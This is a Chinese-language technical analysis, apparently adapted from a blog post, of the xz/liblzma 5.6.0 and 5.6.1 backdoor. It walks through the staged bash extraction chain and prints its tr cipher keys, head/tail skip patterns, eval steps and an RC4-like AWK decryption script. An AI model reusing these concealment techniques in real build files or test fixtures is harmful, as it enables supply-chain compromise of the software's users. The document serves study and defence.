知名压缩软件 xz 被植入后门，黑客究竟是如何做到的？

1. 这个后门影响了 xz/liblzma 的两个版本：5.6.0 和 5.6.1。这两个版本之间存在一些细微的差异，我会尽量在分析过程中同时覆盖到它们。
2. bash 脚本部分可以划分为三个 (也可能是四个) 主要阶段，我将其称为 Stage 0、Stage 1 和 Stage 2。Stage 0 是指在 m4/build-to-host.m4 文件中添加的启动代码。至于潜在的 “Stage 3”，虽然我怀疑它尚未完全成型，但也会略作提及。
3. 那些经过混淆和加密的代码，以及后面的二进制后门，都藏身于两个看似无害的测试文件中：tests/files/bad-3-corrupt_lzma2.xz 和 tests/files/good-large_compressed.lzma。切莫小觑了它们。

Stage 0

1. 首先，它从 tests/files/bad-3-corrupt_lzma2.xz 文件中读取字节流，并将其输出，作为下一步的输入。读取完所有内容后，它还会额外添加一个换行符。这种步步相扣的方式在整个过程中随处可见。
2. 第二步是执行 tr 命令，将某些字符 (或字节值) 映射为其他字符。来看几个例子：

   echo"BASH"

    | tr 

   "ABCD""1234"
   

   21SH

   
   

   在这个示例中，“A” 被映射为 “1”，“B” 被映射为 “2”，依此类推。

   我们也可以指定字符范围。例如在上面的示例中，我们只需将 “ABCD” 更改为 “A-D”，并对目标字符集执行相同的操作：“1-4”：

   echo"BASH"

    | tr 

   "A-D""1-4"
   

   21SH

   
   

   类似地，我们可以指定它们的 ASCII 代码的八进制形式。所以 “A-D” 可以改成 “\101-\104”，“1-4” 可以变成 “\061-\064”。

   echo"BASH"

    | tr 

   "\101-\104""\061-\064"
   

   21SH

   
   

   回到我们的代码中，tr "\t \-_" " \t_\-" 对来自 tests/files/bad-3-corrupt_lzma2.xz 文件的字节流做了如下替换：

   这一番调换，实际上起到了 “修复” bad-3-corrupt_lzma2.xz 文件的作用，让它重获新生，成为一个合法的 xz 数据流。
• 0x09 (\t) 被替换为 0x20
• 0x20 (空格) 被替换为 0x09
• 0x2d (-) 被替换为 0x5f
• 0x5f (_) 被替换为 0x2d
3. 在 Stage 0 的压轴戏中，修复后的 xz 字节流被提取出来，并对过程中的错误选择性地忽略。而这个过程的成果，正是 Stage 1 的脚本，它随即自我执行起来。

Stage 1

• 在 5.6.0 版本中是 86 F9 5A F7 2E 68 6A BC；
• 在 5.6.1 版本中是 E5 55 89 B7 24 04 D8 17。

1. 开头的 export i=... 其实定义了一个 “函数”，在第 3 步和 Stage 2 中被调用。
2. 提取 Stage 2 的第一步，是使用 xz 解压 good-large_compressed.lzma 文件，并将解压后的数据传递给下一步。这开启了一系列环环相扣的 “接力赛”。
3. 紧接着，i “函数” 登场 (eval $i)。这个函数由一系列 head 命令组成，要么输出接下来的 N 个字节，要么彻底忽略它们。

   最初的代码：

   (head -c +1024 >/dev/null)

   
   

   这里的 -c +1024 选项告诉 head 只读取和输出来自输入数据流的接下来的 1024 个字节 (请注意，这里的 + 将会被忽略，它不会做任何事情，这与 tail 命令不一样)。但是，由于输出在这种情况下被重定向到 /dev/null，我们实际得到的是 “跳过接下来的 1024 个字节”。

   值得注意的是，如果我们仔细观察 good-large_compressed.lzma 解压后的前 1024 个字节，会发现它几乎全是重复了 1024 次的字符 “A” (字节 0x41)。有趣的是，在第一个 1024 个字符之后，还隐藏着一些神秘的二进制数据。

   下一个 head 调用看起来和之前几乎相同，只是长度不同：

   head -c +2048

   
   

   注意这里的输出不会被忽略，它将作为输入传递给下一步。

   这个模式反复出现：1024 个字节被跳过，然后 2048 个字节被输出，1024 个字节被跳过，2048 个输出...如此循环，直到文件的末尾，在 5.6.0 版本中只输出 724 个字节，而在 5.6.1 版本中只输出 939 个字节。

   为了直观地呈现这一点，这里展示了这组 head 调用处理的实际输入数据。字节 0 在文件的左上角；每一列表示文件的 256 个字节，以灰度表示。请注意高熵 (“嘈杂”) 区域之间的 “空灰” 区域 – 脚本的这一部分基本上是删除空白区域，将蕴藏数据的区域合二为一。

   

4. 在下一步中，使用 tail -c +31233 命令丢弃数据的前部 (剧透一下：那里隐藏了一扇二进制后门，它将在下一个阶段被打开，所以现在还用不到它)。在 5.6.0 版本中，丢弃的是前 31264 个字节，而在 5.6.1 版本中是 31232 个字节 (一个字节的差异是因为 tail -c +N 的意思是 “从第 N 个字节开始输出”，而不是 “忽略前 N 个字节”)。
5. 第 5 步重新使用了 tr 命令，在这里它被用作一个简单的替换密码，在 5.6.0 和 5.6.1 版本中有不同的密钥 (字节值映射)：

   5.6.0: tr 

   "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131""\0-\377"
   

   5.6.1: tr 

   "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113""\0-\377"
   

   根据之前的解释，这基本上意味着 (对于 5.6.0 版本) 值为 5 的字节将被值为 0 的字节替换，值为 6 的字节将被值为 1 的字节替换，依此类推。在每种情况下，都有 6 个范围映射到整个 0 - 255 (即八进制的 377) 范围。

   整个过程反复上演着这样的 “捉迷藏” 游戏：跳过 1024 字节，然后输出 2048 字节，再跳过 1024 字节，再输出 2048 字节…… 直到抵达文件的尽头。

1. 下一步中，数据流的前面一大段被果断抛弃。
2. 往后是借助 tr 命令实施简单的替换加密，5.6.0 和 5.6.1 版本使用了不同的密钥。
3. 最后，加密后的数据经过解压缩，呈现出 Stage 2 脚本的真容，并立即投入自我执行的怀抱。

Stage 2

Stage 2 扩展机制

1. 它在 tests/files/ 目录下搜寻 (grep -broaF) 具有特定签名的两个文件：

   Fragment 1: 

   "~!:_ W"

    and 

   "|_!{ -"
   

   Fragment 3: 

   "jV!.^%"

    and 

   "%.R.1Z"
   
2. 如果找到它们，就提取每个文件的偏移量 (cut -d: -f2，假定 : 是字段分隔符，则取第 2 个字段)，以第一个偏移量加 7 为 end。
3. 掌握了 end 这两个关键信息后，脚本就能从第一个文件中提取 end 之间的内容。

   cat 

   $f1

    | tail -c +

   ${start}

    | head -c +

   ${end}
   
4. 接下来，它使用和 Stage 1 如出一辙的替换解密方式 (对于 5.6.0 版本的密钥)。

   tr 

   "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131""\0-\377"
   
5. 最后，解密后的数据再次经过解压缩，然后立即执行：

   eval

    `... | xz -F raw --lzma2 -dc`

   
   

Stage 2 后门提取

1. 第一步与 Stage 1的第二步相同，用 xz 解压 tests/files/good-large_compressed.lzma 文件。
2. 第二步同样与 Stage 1 的第三步一致，调用了先前的那个 “很多 head” 的函数。
3. 从这里开始，事情就有所不同了。首先，前一步的输出通过 sed 命令进行了修改：

   LC_ALL=C sed 

   "s/\(.\)/\1\n/g"
   

   这个命令的作用是在每个字节后面添加一个换行符（除了换行符本身）。最终，我们得到了一个每行只有一个字节的输出（没错，这里大量混合了处理文件的"文本"和"二进制"方法）。下一步恰好需要这种格式。
4. 下一步，一个 AWK 脚本粉墨登场，它对输入流进行类似 RC4^[4] 的解密工作。以下是该脚本的美化版本：

   BEGIN {  

   # Initialization part.
   

     FS = 

   "\n"

   ;  

   # Some AWK settings.
   

     RS = 

   "\n"

   ;

   
   

     ORS = 

   ""

   ;

   
   

     m = 256;

   
   for

   (i=0;i<m;i++) {

   
   

       t[sprintf(

   "x%key"

   , i)] = i;

   
   

       key[i] = ((i * 7) + 5) % m;  

   # Creating the cipher key.
   

     }

   
   

     i=0;  

   # Skipping 4096 first bytes of the output PRNG stream.
   

     j=0;  

   # ↑ it's a typical RC4 thing to do.
   for

   (l = 0; l < 4096; l++) {  

   # 5.6.1 uses 8192 instead.
   

       i = (i + 1) % m;

   
   

       a = key[i];

   
   

       j = (j + a) % m;

   
   

       key[i] = key[j];

   
   

       key[j] = a;

   
   

     }

   
   

   }

   
   
   

   {  

   # Decription part.
   # Getting the next byte.
   

     v = t[

   "x"

    (NF < 1 ? RS : 

   $1

   )];

   
   
   # Iterating the RC4 PRNG.
   

     i = (i + 1) % m;

   
   

     a = key[i];

   
   

     j = (j + a) % m;

   
   

     b = key[j];

   
   

     key[i] = b;

   
   

     key[j] = a;

   
   

     k = key[(a + b) % m];

   
   
   # As pointed out by @nugxperience, RC4 originally XORs the encrypted byte
   # with the key, but here for some add is used instead (might be an AWK thing).
   printf"%key"

   , (v + k) % m

   
   

   }

   
   
5. 解密后的数据再次通过 xz 解压缩，重获新生。

   xz -dc --single-stream

   
   
6. 最后，使用相同的常用 head 技巧提取从 N（0）到 W（约 86KB）的字节，并将其保存为 liblzma_la-crc64-fast.o——这就是最终的二进制后门文件。

   ((head -c +

   $N

    > /dev/null 2>&1) && head -c +

   $W

   ) > liblzma_la-crc64-fast.o

   
   

总结

❝

原文链接🔗：https://gynvael.coldwind.pl/?lang=en&id=782

引用链接

往期推荐